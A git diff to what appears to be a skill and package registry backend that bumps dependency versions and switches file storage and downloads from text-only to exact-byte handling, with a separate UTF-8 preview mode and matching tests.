diff --git a/bun.lock b/bun.lock index ddc7a234..350f1aea 100644 --- a/bun.lock +++ b/bun.lock @@ -161,10 +161,13 @@ }, "overrides": { "ast-v8-to-istanbul": "1.0.4", + "brace-expansion": "5.0.7", "dompurify": "3.4.11", "esbuild": "0.28.1", + "js-yaml": "4.3.0", "next": "16.2.6", "postcss": "8.5.12", + "shell-quote": "1.10.0", "undici": "7.28.0", "ws": "8.21.0", }, @@ -1049,7 +1052,7 @@ "bidi-js": ["bidi-js@1.0.3", "", { "dependencies": { "require-from-string": "^2.0.2" } }, "sha512-RKshQI1R3YQ+n9YJz2QQ147P66ELpa1FQEg20Dk8oW9t2KgLbpDLLp9aGZ7y8WHSshDknG0bknqGw5/tyCs5tw=="], - "brace-expansion": ["brace-expansion@5.0.6", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-kLpxurY4Z4r9sgMsyG0Z9uzsBlgiU/EFKhj/h91/8yHu0edo7XuixOIH3VcJ8kkxs6/jPzoI6U9Vj3WqbMQ94g=="], + "brace-expansion": ["brace-expansion@5.0.7", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-7oFy703dxfY3/NLxC1fh2SUCQ0H9rmAY+5EpDVfXjUTTs+HEwR2nYaqLv+GWcTsumwxPfiz6CzCNkwXwBUwqCA=="], "browserslist": ["browserslist@4.28.2", "", { "dependencies": { "baseline-browser-mapping": "^2.10.12", "caniuse-lite": "^1.0.30001782", "electron-to-chromium": "^1.5.328", "node-releases": "^2.0.36", "update-browserslist-db": "^1.2.3" }, "bin": { "browserslist": "cli.js" } }, "sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg=="], @@ -1383,7 +1386,7 @@ "js-tokens": ["js-tokens@4.0.0", "", {}, "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="], - "js-yaml": ["js-yaml@4.2.0", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-ePWsvanv0DWuDRsW8dnt+R4jQ31SCRCQ7hhNcPXZPsoBZiemuZNYGf7adZdqX2D86j6rvKp3RpCxVTSb8WQlOw=="], + "js-yaml": ["js-yaml@4.3.0", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q=="], "jsdom": ["jsdom@29.1.1", "", { "dependencies": { "@asamuzakjp/css-color": "^5.1.11", "@asamuzakjp/dom-selector": "^7.1.1", "@bramus/specificity": "^2.4.2", "@csstools/css-syntax-patches-for-csstree": "^1.1.3", "@exodus/bytes": "^1.15.0", "css-tree": "^3.2.1", "data-urls": "^7.0.0", "decimal.js": "^10.6.0", "html-encoding-sniffer": "^6.0.0", "is-potential-custom-element-name": "^1.0.1", "lru-cache": "^11.3.5", "parse5": "^8.0.1", "saxes": "^6.0.0", "symbol-tree": "^3.2.4", "tough-cookie": "^6.0.1", "undici": "^7.25.0", "w3c-xmlserializer": "^5.0.0", "webidl-conversions": "^8.0.1", "whatwg-mimetype": "^5.0.0", "whatwg-url": "^16.0.1", "xml-name-validator": "^5.0.0" }, "peerDependencies": { "canvas": "^3.0.0" }, "optionalPeers": ["canvas"] }, "sha512-ECi4Fi2f7BdJtUKTflYRTiaMxIB0O6zfR1fX0GXpUrf6flp8QIYn1UT20YQqdSOfk2dfkCwS8LAFoJDEppNK5Q=="], @@ -1753,7 +1756,7 @@ "sharp": ["sharp@0.35.3", "", { "dependencies": { "@img/colour": "^1.1.0", "detect-libc": "^2.1.2", "semver": "^7.8.5" }, "optionalDependencies": { "@img/sharp-darwin-arm64": "0.35.3", "@img/sharp-darwin-x64": "0.35.3", "@img/sharp-freebsd-wasm32": "0.35.3", "@img/sharp-libvips-darwin-arm64": "1.3.2", "@img/sharp-libvips-darwin-x64": "1.3.2", "@img/sharp-libvips-linux-arm": "1.3.2", "@img/sharp-libvips-linux-arm64": "1.3.2", "@img/sharp-libvips-linux-ppc64": "1.3.2", "@img/sharp-libvips-linux-riscv64": "1.3.2", "@img/sharp-libvips-linux-s390x": "1.3.2", "@img/sharp-libvips-linux-x64": "1.3.2", "@img/sharp-libvips-linuxmusl-arm64": "1.3.2", "@img/sharp-libvips-linuxmusl-x64": "1.3.2", "@img/sharp-linux-arm": "0.35.3", "@img/sharp-linux-arm64": "0.35.3", "@img/sharp-linux-ppc64": "0.35.3", "@img/sharp-linux-riscv64": "0.35.3", "@img/sharp-linux-s390x": "0.35.3", "@img/sharp-linux-x64": "0.35.3", "@img/sharp-linuxmusl-arm64": "0.35.3", "@img/sharp-linuxmusl-x64": "0.35.3", "@img/sharp-webcontainers-wasm32": "0.35.3", "@img/sharp-win32-arm64": "0.35.3", "@img/sharp-win32-ia32": "0.35.3", "@img/sharp-win32-x64": "0.35.3" }, "peerDependencies": { "@types/node": "*" }, "optionalPeers": ["@types/node"] }, "sha512-ej0zVHuZGHCiABXcNxeYhpRnPNPAcvbG8RMdBAhDAxLKkCRVSpK3Iyu7qbqw3JMzoj0REeM6f3tJLtVwl0023Q=="], - "shell-quote": ["shell-quote@1.8.4", "", {}, "sha512-VsC6n6vz1ihYYyZZwX7YZSF5l5x36ca17OC+a69h94YqB7X6XLwf+5MOgynYir2SLFUbl8gIYvBo8K8RoNQ6bQ=="], + "shell-quote": ["shell-quote@1.10.0", "", {}, "sha512-w1aiOKwKuRgtwAReIIj89puqg+I7GvX4IbLrvmhXbzQsj1+Zwi4VO3+fa6ZF91TWSjIxoEkKnMeHcLEODK5ZXA=="], "shiki": ["shiki@4.3.1", "", { "dependencies": { "@shikijs/core": "4.3.1", "@shikijs/engine-javascript": "4.3.1", "@shikijs/engine-oniguruma": "4.3.1", "@shikijs/langs": "4.3.1", "@shikijs/themes": "4.3.1", "@shikijs/types": "4.3.1", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-oR+qDVi2OjX1tmDpyv+3KviX01KzO6Af+0NNnKnsp9491UEGz2YpxTuJboS/6VhYpTdqzmuJBuiTlrAWWJAssw=="], diff --git a/convex/githubImport.test.ts b/convex/githubImport.test.ts index 2177c79c..7fe97792 100644 --- a/convex/githubImport.test.ts +++ b/convex/githubImport.test.ts @@ -86,15 +86,6 @@ describe("githubImport", () => { ]); }); - it("uses publish-supported text extensions for tree path imports", () => { - expect(__test.isPreviewFetchableTextPath("skill/SKILL.md")).toBe(true); - expect(__test.isPreviewFetchableTextPath("skill/icon.svg")).toBe(true); - expect(__test.isPreviewFetchableTextPath("skill/styles.scss")).toBe(true); - expect(__test.isPreviewFetchableTextPath("skill/install.ps1")).toBe(true); - expect(__test.isPreviewFetchableTextPath("skill/config.conf")).toBe(true); - expect(__test.isPreviewFetchableTextPath("skill/binary.exe")).toBe(false); - }); - it("rejects a public repo owned by another GitHub account before repo lookup", async () => { const ctx = { runQuery: vi.fn().mockResolvedValue("123"), diff --git a/convex/githubImport.ts b/convex/githubImport.ts index cdad4129..dc534d1e 100644 --- a/convex/githubImport.ts +++ b/convex/githubImport.ts @@ -13,7 +13,7 @@ import { detectGitHubImportCandidates, fetchGitHubZipBytes, isGitHubSkillFilePath, - listTextFilesUnderCandidate, + listFilesUnderCandidate, normalizeRepoPath, parseGitHubImportUrl, resolveGitHubCommit, @@ -22,7 +22,7 @@ import { suggestVersion, } from "./lib/githubImport"; import { publishVersionForUser } from "./lib/skillPublish"; -import { isMacJunkPath, isTextFile, sanitizePath } from "./lib/skills"; +import { isMacJunkPath, sanitizePath } from "./lib/skills"; const MAX_SELECTED_BYTES = 50 * 1024 * 1024; const MAX_UNZIPPED_BYTES = 80 * 1024 * 1024; @@ -183,7 +183,7 @@ async function previewGitHubImportCandidateForUser( const candidate = candidates.find((item) => item.path === normalizedCandidatePath); if (!candidate) throw new ConvexError("Candidate not found"); - const files = listTextFilesUnderCandidate(entries, candidate.path); + const files = listFilesUnderCandidate(entries, candidate.path); const defaultSelectedPaths = computeDefaultSelectedPaths({ candidate, files }); const fileList = buildGitHubImportFileList({ candidate, @@ -291,7 +291,7 @@ async function importGitHubSkillForUser( const candidate = candidates.find((item) => item.path === normalizedCandidatePath); if (!candidate) throw new ConvexError("Candidate not found"); - const filesUnderCandidate = listTextFilesUnderCandidate(entries, candidate.path); + const filesUnderCandidate = listFilesUnderCandidate(entries, candidate.path); const byPath = new Map(filesUnderCandidate.map((file) => [file.path, file.bytes])); const selected = Array.from( @@ -332,7 +332,9 @@ async function importGitHubSkillForUser( const safeBytes = new Uint8Array(bytes); let storageId: Id<"_storage">; try { - storageId = await ctx.storage.store(new Blob([safeBytes], { type: "text/plain" })); + storageId = await ctx.storage.store( + new Blob([safeBytes], { type: "application/octet-stream" }), + ); } catch (error) { throw new ConvexError(buildStoreFailureMessage(sanitized, bytes.byteLength, error)); } @@ -341,7 +343,7 @@ async function importGitHubSkillForUser( size: bytes.byteLength, storageId, sha256, - contentType: "text/plain", + contentType: "application/octet-stream", }); } @@ -737,7 +739,6 @@ function toImportableTreeBlob(entry: GitHubTreeEntryPayload, prefix: string) { const path = normalizeRepoPath(entry.path); if (!path || !path.startsWith(prefix)) return null; if (isMacJunkPath(path)) return null; - if (!isPreviewFetchableTextPath(path)) return null; const size = typeof entry.size === "number" && Number.isFinite(entry.size) ? entry.size : 0; return { path, sha: entry.sha, size }; } @@ -754,10 +755,6 @@ async function fetchGitHubBlobBytes( return new Uint8Array(await response.arrayBuffer()); } -function isPreviewFetchableTextPath(path: string) { - return isTextFile(path); -} - async function fetchGitHubRepoTree( owner: string, repo: string, @@ -993,7 +990,6 @@ export const __test = { buildPublishFailureMessage, buildStoreFailureMessage, importGitHubSkillForUser, - isPreviewFetchableTextPath, listOwnedPublicGitHubReposForUser, listSkillCandidatesForRepo, previewGitHubImportCandidateForUser, diff --git a/convex/githubSkillSync.ts b/convex/githubSkillSync.ts index b36ca1ec..669ea491 100644 --- a/convex/githubSkillSync.ts +++ b/convex/githubSkillSync.ts @@ -5,6 +5,7 @@ import type { Doc, Id } from "./_generated/dataModel"; import type { ActionCtx, MutationCtx, QueryCtx } from "./_generated/server"; import { action, internalMutation, internalQuery } from "./functions"; import { assertAdmin, requireUserFromAction } from "./lib/access"; +import { decodeBoundedUtf8Text } from "./lib/artifactText"; import { buildGitHubApiHeaders } from "./lib/githubAuth"; import { fetchGitHubZipBytes, @@ -27,7 +28,7 @@ import { runStaticModerationScan } from "./lib/moderationEngine"; import { Events, logErrorEvent, logEvent } from "./lib/observabilityEvents"; import { isOfficialPublisher } from "./lib/officialPublishers"; import { requirePublisherRole } from "./lib/publishers"; -import { isMacJunkPath, isTextFile, parseFrontmatter } from "./lib/skills"; +import { isMacJunkPath, parseFrontmatter } from "./lib/skills"; import { chunkSkillScanRequestFiles } from "./lib/skillScanRequestFiles"; import { syncSkillSearchDigestForSkill } from "./lib/skillSearchDigest"; import { assertValidSkillSlug } from "./lib/skillSlugValidator"; @@ -1298,10 +1299,11 @@ function listGitHubSkillTextContents(entries: Record, folder const textFiles = []; for (const [path, bytes] of listGitHubSkillFolderEntries(entries, folderPath)) { if (textFiles.length >= MAX_STATIC_SCAN_TEXT_FILES) break; - if (!isTextFile(path, undefined)) continue; + const content = decodeBoundedUtf8Text(bytes, MAX_STATIC_SCAN_TEXT_FILE_BYTES); + if (content === null) continue; textFiles.push({ path, - content: new TextDecoder().decode(bytes.slice(0, MAX_STATIC_SCAN_TEXT_FILE_BYTES)), + content, }); } return textFiles; diff --git a/convex/httpApiV1.handlers.test.ts b/convex/httpApiV1.handlers.test.ts index ac3710de..580f4ed8 100644 --- a/convex/httpApiV1.handlers.test.ts +++ b/convex/httpApiV1.handlers.test.ts @@ -4961,7 +4961,7 @@ describe("httpApiV1 handlers", () => { expect(await response.text()).toBe("Version not found"); }); - it("returns raw file content", async () => { + it("previews UTF-8 Terraform by bytes and downloads the raw file", async () => { const internalVersion = { skillId: "skills:1", version: "1.0.0", @@ -4969,11 +4969,11 @@ describe("httpApiV1 handlers", () => { changelog: "c", files: [ { - path: "SKILL.md", - size: 5, + path: "main.tf", + size: 37, storageId: "storage:1", sha256: "abcd", - contentType: "text/plain", + contentType: "application/octet-stream", }, ], softDeletedAt: undefined, @@ -5002,16 +5002,211 @@ describe("httpApiV1 handlers", () => { return null; }); const runMutation = vi.fn().mockResolvedValue(okRate()); + const terraform = 'resource "null_resource" "demo" {}\n'; const storage = { - get: vi.fn().mockResolvedValue(new Blob(["hello"], { type: "text/plain" })), + get: vi.fn().mockResolvedValue(new Blob([terraform], { type: "application/octet-stream" })), }; - const response = await __handlers.skillsGetRouterV1Handler( + const previewResponse = await __handlers.skillsGetRouterV1Handler( makeCtx({ runQuery, runMutation, storage }), - new Request("https://example.com/api/v1/skills/demo/file?path=SKILL.md"), + new Request("https://example.com/api/v1/skills/demo/file?path=main.tf&preview=1"), ); + expect(previewResponse.status).toBe(200); + expect(await previewResponse.text()).toBe(terraform); + expect(previewResponse.headers.get("X-Content-SHA256")).toBe("abcd"); + expect(previewResponse.headers.get("Content-Type")).toBe("text/plain; charset=utf-8"); + expect(previewResponse.headers.get("Content-Disposition")).toBeNull(); + + const rawResponse = await __handlers.skillsGetRouterV1Handler( + makeCtx({ runQuery, runMutation, storage }), + new Request("https://example.com/api/v1/skills/demo/file?path=main.tf"), + ); + expect(rawResponse.status).toBe(200); + expect(new Uint8Array(await rawResponse.arrayBuffer())).toEqual( + new TextEncoder().encode(terraform), + ); + expect(rawResponse.headers.get("Content-Type")).toBe("application/octet-stream"); + expect(rawResponse.headers.get("Content-Disposition")).toBe( + "attachment; filename*=UTF-8''main.tf", + ); + }); + + it("preserves raw UTF-8 bytes exactly and downloads every file type", async () => { + const bomBytes = Uint8Array.from([0xef, 0xbb, 0xbf, 0x61]); + const markdownBytes = new TextEncoder().encode("# Demo\n"); + const htmlBytes = new TextEncoder().encode(""); + const pdfBytes = new TextEncoder().encode("%PDF-1.7\n"); + const internalVersion = { + skillId: "skills:1", + version: "1.0.0", + createdAt: 1, + changelog: "c", + files: [ + { + path: "bom.txt", + size: bomBytes.byteLength, + storageId: "storage:bom", + sha256: "bom-sha", + contentType: "text/plain", + }, + { + path: "README.md", + size: markdownBytes.byteLength, + storageId: "storage:markdown", + sha256: "markdown-sha", + contentType: "text/markdown", + }, + { + path: "demo.html", + size: htmlBytes.byteLength, + storageId: "storage:html", + sha256: "html-sha", + contentType: "text/html", + }, + { + path: "demo.pdf", + size: pdfBytes.byteLength, + storageId: "storage:pdf", + sha256: "pdf-sha", + contentType: "application/pdf", + }, + ], + softDeletedAt: undefined, + }; + const runQuery = vi.fn(async (_query: unknown, args: Record) => { + if ("slug" in args) { + return { + skill: { + _id: "skills:1", + slug: "demo", + displayName: "Demo", + summary: "s", + tags: {}, + stats: {}, + createdAt: 1, + updatedAt: 2, + latestVersionId: "skillVersions:1", + }, + latestVersion: { _id: "skillVersions:1", version: "1.0.0" }, + owner: null, + }; + } + if ("versionId" in args) return internalVersion; + return null; + }); + const storage = { + get: vi.fn(async (storageId: string) => { + if (storageId === "storage:bom") return new Blob([bomBytes], { type: "text/plain" }); + if (storageId === "storage:markdown") { + return new Blob([markdownBytes], { type: "text/markdown" }); + } + if (storageId === "storage:html") return new Blob([htmlBytes], { type: "text/html" }); + return new Blob([pdfBytes], { type: "application/pdf" }); + }), + }; + const ctx = makeCtx({ + runQuery, + runMutation: vi.fn().mockResolvedValue(okRate()), + storage, + }); + + const bomResponse = await __handlers.skillsGetRouterV1Handler( + ctx, + new Request("https://example.com/api/v1/skills/demo/file?path=bom.txt"), + ); + expect(new Uint8Array(await bomResponse.arrayBuffer())).toEqual(bomBytes); + expect(bomResponse.headers.get("Content-Disposition")).toBe( + "attachment; filename*=UTF-8''bom.txt", + ); + + const markdownResponse = await __handlers.skillsGetRouterV1Handler( + ctx, + new Request("https://example.com/api/v1/skills/demo/file?path=README.md"), + ); + expect(new Uint8Array(await markdownResponse.arrayBuffer())).toEqual(markdownBytes); + expect(markdownResponse.headers.get("Content-Disposition")).toBe( + "attachment; filename*=UTF-8''README.md", + ); + + const htmlResponse = await __handlers.skillsGetRouterV1Handler( + ctx, + new Request("https://example.com/api/v1/skills/demo/file?path=demo.html"), + ); + expect(new Uint8Array(await htmlResponse.arrayBuffer())).toEqual(htmlBytes); + expect(htmlResponse.headers.get("Content-Disposition")).toBe( + "attachment; filename*=UTF-8''demo.html", + ); + expect(htmlResponse.headers.get("Content-Type")).toBe("text/html"); + expect(htmlResponse.headers.get("X-Content-Type-Options")).toBe("nosniff"); + + const pdfResponse = await __handlers.skillsGetRouterV1Handler( + ctx, + new Request("https://example.com/api/v1/skills/demo/file?path=demo.pdf"), + ); + expect(new Uint8Array(await pdfResponse.arrayBuffer())).toEqual(pdfBytes); + expect(pdfResponse.headers.get("Content-Disposition")).toBe( + "attachment; filename*=UTF-8''demo.pdf", + ); + expect(pdfResponse.headers.get("Content-Type")).toBe("application/pdf"); + }); + + it("returns opaque skill files as exact-byte attachments", async () => { + const opaqueBytes = Uint8Array.from([0, 1, 2, 255]); + const internalVersion = { + skillId: "skills:1", + version: "1.0.0", + createdAt: 1, + changelog: "c", + files: [ + { + path: "assets/payload.bin", + size: opaqueBytes.byteLength, + storageId: "storage:opaque", + sha256: "opaque-sha", + contentType: "application/octet-stream", + }, + ], + softDeletedAt: undefined, + }; + const runQuery = vi.fn(async (_query: unknown, args: Record) => { + if ("slug" in args) { + return { + skill: { + _id: "skills:1", + slug: "demo", + displayName: "Demo", + summary: "s", + tags: {}, + stats: {}, + createdAt: 1, + updatedAt: 2, + latestVersionId: "skillVersions:1", + }, + latestVersion: { _id: "skillVersions:1", version: "1.0.0" }, + owner: null, + }; + } + if ("versionId" in args) return internalVersion; + return null; + }); + const response = await __handlers.skillsGetRouterV1Handler( + makeCtx({ + runQuery, + runMutation: vi.fn().mockResolvedValue(okRate()), + storage: { + get: vi + .fn() + .mockResolvedValue(new Blob([opaqueBytes], { type: "application/octet-stream" })), + }, + }), + new Request("https://example.com/api/v1/skills/demo/file?path=assets%2Fpayload.bin"), + ); + expect(response.status).toBe(200); - expect(await response.text()).toBe("hello"); - expect(response.headers.get("X-Content-SHA256")).toBe("abcd"); + expect(new Uint8Array(await response.arrayBuffer())).toEqual(opaqueBytes); + expect(response.headers.get("Content-Disposition")).toBe( + "attachment; filename*=UTF-8''payload.bin", + ); + expect(response.headers.get("X-Content-SHA256")).toBe("opaque-sha"); }); it("looks up raw files in the requested owner namespace", async () => { @@ -6415,7 +6610,8 @@ describe("httpApiV1 handlers", () => { expect(body).toContain("/api/v1/skills/demo/file?ownerHandle=&path=SKILL.md"); }); - it("returns 413 when raw file too large", async () => { + it("serves raw skill files above the preview limit", async () => { + const fileBytes = new Uint8Array(210 * 1024).fill(97); const internalVersion = { skillId: "skills:1", version: "1.0.0", @@ -6424,7 +6620,7 @@ describe("httpApiV1 handlers", () => { files: [ { path: "SKILL.md", - size: 210 * 1024, + size: fileBytes.byteLength, storageId: "storage:1", sha256: "abcd", contentType: "text/plain", @@ -6457,10 +6653,17 @@ describe("httpApiV1 handlers", () => { }); const runMutation = vi.fn().mockResolvedValue(okRate()); const response = await __handlers.skillsGetRouterV1Handler( - makeCtx({ runQuery, runMutation, storage: { get: vi.fn() } }), + makeCtx({ + runQuery, + runMutation, + storage: { + get: vi.fn().mockResolvedValue(new Blob([fileBytes], { type: "text/plain" })), + }, + }), new Request("https://example.com/api/v1/skills/demo/file?path=SKILL.md"), ); - expect(response.status).toBe(413); + expect(response.status).toBe(200); + expect(new Uint8Array(await response.arrayBuffer())).toEqual(fileBytes); }); it("publish json succeeds", async () => { @@ -6819,7 +7022,7 @@ describe("httpApiV1 handlers", () => { expect(publishVersionForUser).not.toHaveBeenCalled(); }); - it("publish multipart succeeds", async () => { + it("publish multipart preserves Terraform and opaque files", async () => { vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: "users:1", user: { handle: "p" }, @@ -6847,9 +7050,24 @@ describe("httpApiV1 handlers", () => { tags: ["latest"], }), ); - form.append("files", new Blob(["hello"], { type: "text/plain" }), "SKILL.md"); + const terraform = 'resource "null_resource" "demo" {}\n'; + const variables = 'region = "us-east-1"\n'; + const opaqueBytes = Uint8Array.from([0, 1, 2, 255]); + form.append("files", new Blob(["# Demo\n"], { type: "text/markdown" }), "SKILL.md"); + form.append("files", new Blob([terraform]), "main.tf"); + form.append("files", new Blob([variables]), "terraform.tfvars"); + form.append( + "files", + new Blob([opaqueBytes], { type: "application/octet-stream" }), + "assets/payload.bin", + ); + const storedBlobs: Blob[] = []; + const store = vi.fn(async (blob: Blob) => { + storedBlobs.push(blob); + return `storage:${storedBlobs.length}`; + }); const response = await __handlers.publishSkillV1Handler( - makeCtx({ runMutation, storage: { store: vi.fn().mockResolvedValue("storage:1") } }), + makeCtx({ runMutation, storage: { store } }), new Request("https://example.com/api/v1/skills", { method: "POST", headers: { Authorization: "Bearer clh_test" }, @@ -6859,6 +7077,21 @@ describe("httpApiV1 handlers", () => { if (response.status !== 200) { throw new Error(await response.text()); } + expect(store).toHaveBeenCalledTimes(4); + const publishArgs = vi.mocked(publishVersionForUser).mock.calls[0]?.[2] as { + files?: Array<{ path: string; storageId: string; size: number; contentType?: string }>; + }; + expect(publishArgs.files?.map((file) => file.path)).toEqual([ + "SKILL.md", + "main.tf", + "terraform.tfvars", + "assets/payload.bin", + ]); + expect(await storedBlobs[1]?.text()).toBe(terraform); + expect(await storedBlobs[2]?.text()).toBe(variables); + expect(new Uint8Array((await storedBlobs[3]?.arrayBuffer()) ?? new ArrayBuffer(0))).toEqual( + opaqueBytes, + ); }); it("publish multipart resolves requested owner publisher", async () => { @@ -13354,6 +13587,91 @@ describe("httpApiV1 handlers", () => { }); }); + it("package file previews UTF-8 by bytes and downloads opaque artifacts", async () => { + const runMutation = vi.fn().mockResolvedValue(okRate()); + const runQuery = vi.fn(async (_query: unknown, args: Record) => { + if ("name" in args) { + return { + package: { + _id: "packages:1", + name: "demo-plugin", + displayName: "Demo Plugin", + family: "code-plugin", + tags: {}, + latestReleaseId: "packageReleases:1", + channel: "community", + isOfficial: false, + createdAt: 1, + updatedAt: 1, + }, + latestRelease: null, + owner: null, + }; + } + if ("releaseId" in args) { + return { + _id: "packageReleases:1", + version: "1.0.0", + createdAt: 1, + changelog: "init", + files: [ + { + path: "main.tf", + size: 37, + sha256: "b".repeat(64), + storageId: "storage:text", + contentType: "application/octet-stream", + }, + { + path: "assets/payload.bin", + size: 4, + sha256: "a".repeat(64), + storageId: "storage:1", + contentType: "application/octet-stream", + }, + ], + }; + } + return null; + }); + const terraform = 'resource "null_resource" "demo" {}\n'; + const opaqueBytes = Uint8Array.from([0, 1, 2, 255]); + const storage = { + get: vi.fn(async (storageId: string) => + storageId === "storage:text" + ? new Blob([terraform], { type: "application/octet-stream" }) + : new Blob([opaqueBytes], { type: "application/octet-stream" }), + ), + }; + + const previewResponse = await __handlers.packagesGetRouterV1Handler( + makeCtx({ runQuery, runMutation, storage }), + new Request("https://example.com/api/v1/packages/demo-plugin/file?path=main.tf&preview=1"), + ); + expect(previewResponse.status).toBe(200); + await expect(previewResponse.text()).resolves.toBe(terraform); + expect(previewResponse.headers.get("Content-Type")).toBe("text/plain; charset=utf-8"); + + const opaquePreviewResponse = await __handlers.packagesGetRouterV1Handler( + makeCtx({ runQuery, runMutation, storage }), + new Request( + "https://example.com/api/v1/packages/demo-plugin/file?path=assets%2Fpayload.bin&preview=1", + ), + ); + expect(opaquePreviewResponse.status).toBe(415); + await expect(opaquePreviewResponse.text()).resolves.toBe("File cannot be previewed as text"); + + const rawResponse = await __handlers.packagesGetRouterV1Handler( + makeCtx({ runQuery, runMutation, storage }), + new Request("https://example.com/api/v1/packages/demo-plugin/file?path=assets%2Fpayload.bin"), + ); + expect(rawResponse.status).toBe(200); + expect(new Uint8Array(await rawResponse.arrayBuffer())).toEqual(opaqueBytes); + expect(rawResponse.headers.get("Content-Disposition")).toBe( + "attachment; filename*=UTF-8''payload.bin", + ); + }); + it("package file resolves lowercase readme variants from the canonical request path", async () => { const runMutation = vi.fn().mockResolvedValue(okRate()); const runQuery = vi.fn(async (_query: unknown, args: Record) => { diff --git a/convex/httpApiV1/packagesV1.ts b/convex/httpApiV1/packagesV1.ts index 140c3a05..e6a64bad 100644 --- a/convex/httpApiV1/packagesV1.ts +++ b/convex/httpApiV1/packagesV1.ts @@ -16,6 +16,7 @@ import { PackageTransferRequestSchema, PackageTrustedPublisherUpsertRequestSchema, PublishTokenMintRequestSchema, + normalizeContentType, isPluginCategorySlug, parseArk, type PackagePublishMetadata, @@ -64,7 +65,7 @@ import { getSkillFileModerationInfoFromSkill, isSkillVersionForSkill, } from "../lib/skillFileAccess"; -import { isMacJunkPath, isTextFile } from "../lib/skills"; +import { isMacJunkPath } from "../lib/skills"; import { buildDeterministicPackageZip, buildMergedExportZip, @@ -82,7 +83,8 @@ import { requireApiTokenUserOrResponse, requireAdminOrResponse, requirePackagePublishAuthOrResponse, - safeTextFileResponse, + safeStoredFilePreviewResponse, + safeStoredFileResponse, softDeleteErrorToResponse, ambiguousSkillSlugResponse, type AmbiguousSkillSlugChoice, @@ -1267,13 +1269,7 @@ type PackagePublishTarballPart = uploadTicket: Id<"packagePublishUploadTickets">; }; -function inferStoredPackageContentType(path: string) { - const lower = path.toLowerCase(); - if (lower.endsWith(".json")) return "application/json"; - if (lower.endsWith(".js") || lower.endsWith(".mjs") || lower.endsWith(".cjs")) { - return "text/javascript; charset=utf-8"; - } - if (isTextFile(path)) return "text/plain; charset=utf-8"; +function defaultStoredPackageContentType() { return "application/octet-stream"; } @@ -1287,7 +1283,7 @@ async function storeClawPackFile( ctx: ActionCtx, entry: { path: string; bytes: Uint8Array }, ): Promise { - const contentType = inferStoredPackageContentType(entry.path); + const contentType = defaultStoredPackageContentType(); const storageId = await ctx.storage.store( new Blob([bytesToArrayBuffer(entry.bytes)], { type: contentType }), ); @@ -1320,7 +1316,7 @@ async function storeUploadedPackageFile( throw new Error(getPublishFileSizeError(entry.name)); } const buffer = new Uint8Array(await entry.arrayBuffer()); - const contentType = inferStoredPackageContentType(entry.name); + const contentType = normalizeContentType(entry.type) ?? defaultStoredPackageContentType(); const storageId = await ctx.storage.store( new Blob([bytesToArrayBuffer(buffer)], { type: contentType }), ); @@ -4026,8 +4022,10 @@ export async function packagesGetRouterV1Handler(ctx: ActionCtx, request: Reques } if (packageSegments[0] === "file") { - const path = new URL(request.url).searchParams.get("path")?.trim(); + const requestUrl = new URL(request.url); + const path = requestUrl.searchParams.get("path")?.trim(); if (!path) return text("Missing path", 400, rate.headers); + const preview = requestUrl.searchParams.get("preview") === "1"; if (skillDetail?.skill) { const version = await getSkillVersionForRequest(ctx, skillDetail.skill, request); if (!version || version.softDeletedAt) return text("Version not found", 404, rate.headers); @@ -4044,14 +4042,22 @@ export async function packagesGetRouterV1Handler(ctx: ActionCtx, request: Reques if (!file) return text("File not found", 404, rate.headers); if (!("storageId" in file) || !file.storageId) return text("File not found", 404, rate.headers); - if (!isTextFile(file.path, file.contentType)) { - return text("Binary files are not served inline", 415, rate.headers); - } - if (file.size > MAX_RAW_FILE_BYTES) return text("File too large", 413, rate.headers); + const maxBytes = preview ? MAX_RAW_FILE_BYTES : MAX_PUBLISH_FILE_BYTES; + if (file.size > maxBytes) return text("File too large", 413, rate.headers); const blob = await ctx.storage.get(file.storageId); if (!blob) return text("File not found", 404, rate.headers); - return safeTextFileResponse({ - textContent: await blob.text(), + if (preview) { + return await safeStoredFilePreviewResponse({ + blob, + path: file.path, + contentType: file.contentType, + sha256: file.sha256, + size: file.size, + headers: rate.headers, + }); + } + return await safeStoredFileResponse({ + blob, path: file.path, contentType: file.contentType, sha256: file.sha256, @@ -4065,21 +4071,21 @@ export async function packagesGetRouterV1Handler(ctx: ActionCtx, request: Reques if (securityBlock) return text(securityBlock.message, securityBlock.status, rate.headers); const file = resolvePackageFilePath(release, path); if (!file) return text("File not found", 404, rate.headers); - if (!isTextFile(file.path, file.contentType)) { - return text("Binary files are not served inline", 415, rate.headers); - } - if (file.size > MAX_RAW_FILE_BYTES) return text("File too large", 413, rate.headers); + const maxBytes = preview ? MAX_RAW_FILE_BYTES : MAX_PUBLISH_FILE_BYTES; + if (file.size > maxBytes) return text("File too large", 413, rate.headers); const blob = await ctx.storage.get(file.storageId); if (!blob) return text("File not found", 404, rate.headers); - const textContent = await blob.text(); - return safeTextFileResponse({ - textContent, + const responseParams = { + blob, path: file.path, contentType: file.contentType, sha256: file.sha256, size: file.size, headers: rate.headers, - }); + }; + return preview + ? await safeStoredFilePreviewResponse(responseParams) + : await safeStoredFileResponse(responseParams); } if (packageSegments[0] === "download") { diff --git a/convex/httpApiV1/shared.ts b/convex/httpApiV1/shared.ts index e831d53b..8b9bac53 100644 --- a/convex/httpApiV1/shared.ts +++ b/convex/httpApiV1/shared.ts @@ -1,4 +1,9 @@ -import { CliPublishRequestSchema, normalizeTextContentType, parseArk } from "clawhub-schema"; +import { + CliPublishRequestSchema, + decodeUtf8Text, + normalizeContentType, + parseArk, +} from "clawhub-schema"; import { internal } from "../_generated/api"; import type { Doc, Id } from "../_generated/dataModel"; import type { ActionCtx } from "../_generated/server"; @@ -15,29 +20,27 @@ const DEFAULT_PUBLIC_SITE_URL = "https://clawhub.ai"; const 